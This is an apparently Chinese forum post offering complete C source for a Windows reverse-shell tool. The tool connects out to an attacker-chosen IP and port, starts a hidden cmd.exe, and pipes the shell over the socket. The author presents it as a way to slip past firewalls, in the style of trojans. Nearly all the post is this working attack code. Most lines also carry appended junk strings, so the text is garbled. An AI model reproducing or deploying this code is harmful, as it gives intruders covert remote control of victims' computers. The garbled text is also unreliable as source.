Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 F.?^ko9d  
@ bPQhn#(g  
/* ============================== K]oFV  
Rebound port in Windows NT n4Ry)O[.  
By wind,2006/7 gE0k|Z(RF  
===============================*/ dMQtW3stY  
#include ((N<2G)  
#include {XC# -3O  
SQ]&nDd  
#pragma comment(lib,"wsock32.lib") vR3'B3y  
votv rZ=  
void OutputShell(); ^hq`dr|R=  
SOCKET sClient; Jp!Q2}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g599Lc&  
vkOCyi?c  
void main(int argc,char **argv) x}i:nLhL  
{ \&`S~cV9  
WSADATA stWsaData; H.hF`n  
int nRet; >>Z.]  
SOCKADDR_IN stSaiClient,stSaiServer; mMS%O]m,|  
:&HrOdz  
if(argc != 3) 5yI_uQR  
{ p2GkI/6)uu  
printf("Useage:\n\rRebound DestIP DestPort\n"); kKr7c4q  
return; 'mXf8   
} A/|To!R  
yJ c#y   
WSAStartup(MAKEWORD(2,2),&stWsaData); 5(^&0c>P  
b<P9@h~:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q.>@w<[!L  
<[@AMdS  
stSaiClient.sin_family = AF_INET; )/1AF^ E  
stSaiClient.sin_port = htons(0); |`1lCyV\tE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D kl4^}  
9i*t3W71]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a"EX<6"  
{ |77.Lqqy,  
printf("Bind Socket Failed!\n"); fr#Y<=Jo  
return; *8M0h9S$  
} <kN4@bd;  
/ Of*II&  
stSaiServer.sin_family = AF_INET; [`BMi-WQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +)h*)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); __fa,kK{?  
]+<[D2f  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R?b3G4~  
{ 1N{}G$'Go  
printf("Connect Error!"); D>|m8-@]  
return; lE=(6Q  
} yl/-!  
OutputShell(); N_rz~$|@9  
} ?n)d: )Ud"  
RZ-=UIf  
void OutputShell() Uoe;4ni  
{ ?& qMC  
char szBuff[1024]; 9fj3q>Un,  
SECURITY_ATTRIBUTES stSecurityAttributes; 7g8}]\i+  
OSVERSIONINFO stOsversionInfo; +F.{:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VNBf2Va  
STARTUPINFO stStartupInfo; thy)J.<J  
char *szShell; sG[v vm  
PROCESS_INFORMATION stProcessInformation; T2<?4^xN  
unsigned long lBytesRead; {VtmQU?cJ  
cVYDO*N2T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B+[ri&6X\  
/'k4NXnW3  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D!Pv`wm  
stSecurityAttributes.lpSecurityDescriptor = 0; v W=$C  
stSecurityAttributes.bInheritHandle = TRUE; F7P?*!dx  
5Iinen3>  
r6S-G{o  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XVr>\T4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QVLv}w`O  

z*n  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yef=HSzo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (8T36pt~  
stStartupInfo.wShowWindow = SW_HIDE; `Sgj!/!F  
stStartupInfo.hStdInput = hReadPipe; "Zm**h.t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; & mwQj<Z  
d5
Hp&tm  
GetVersionEx(&stOsversionInfo); +a1Or  
H3\4&q  
switch(stOsversionInfo.dwPlatformId) .'foS>W=t  
{ tl
jZE)  
case 1: <LL+\kfTZO  
szShell = "command.com"; Sk7l&B  
break; nb-]fa  
default: %3b;`Oa  
szShell = "cmd.exe"; #gn{X!;-;  
break; _3@[S F  
} yvR3
|  
R9XISsM^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eajctkzj  
r9MS,KG8  
send(sClient,szMsg,77,0); RP[^1  
while(1) 2E5n07,
 
{ +g %h,@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !|4fww  
if(lBytesRead) cxX/ b,  
{ F{*{f =E!B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "#}
Uh  
send(sClient,szBuff,lBytesRead,0); Q1f)uwh  
} (bhMo^3/*  
else %G6Q+LMwm  
{ %!DdjC&5*  
lBytesRead=recv(sClient,szBuff,1024,0); Ac^hZ.qPz  
if(lBytesRead<=0) break; N;Hoi8W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >A&D/kMO  
} @}9*rWJIE  
} 3DjlX*  
WxPu{N  
return; *^[m?3"W  
}